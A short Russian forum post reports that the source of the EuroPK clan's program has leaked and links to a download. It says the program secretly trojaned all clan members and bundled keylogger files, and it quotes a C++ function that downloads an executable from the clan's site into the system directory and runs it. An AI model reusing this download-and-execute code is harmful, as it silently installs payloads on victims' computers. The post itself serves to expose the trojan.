Стал доступен исходник проги, которую в свое время юзал клан EuroPK.
Скачать можно тут http://www.speedyshare.com/952655898.html
Как и ожидалсь, троянились все мемберы, в том числе и свои.
Также троян не только шёл в комплекте , ( KeyLogger.cpp, Keylogger.h, Keylogger.app) но и при необходимости скачивался с их сайта ,
о чем говорят строки
DWORD WINAPI TrojanThread(void* pp) { char Dir[512]; GetSystemDirectory(Dir,500); strcat(Dir,"\\wininfo.exe"); if(FAILED(::URLDownloadToFile(0,"http://www.europk.org/test.exe",Dir,0,0))) { } else ShellExecute(0,"open",Dir,0,0,0); return 0;
в файле EuroTPPK.cpp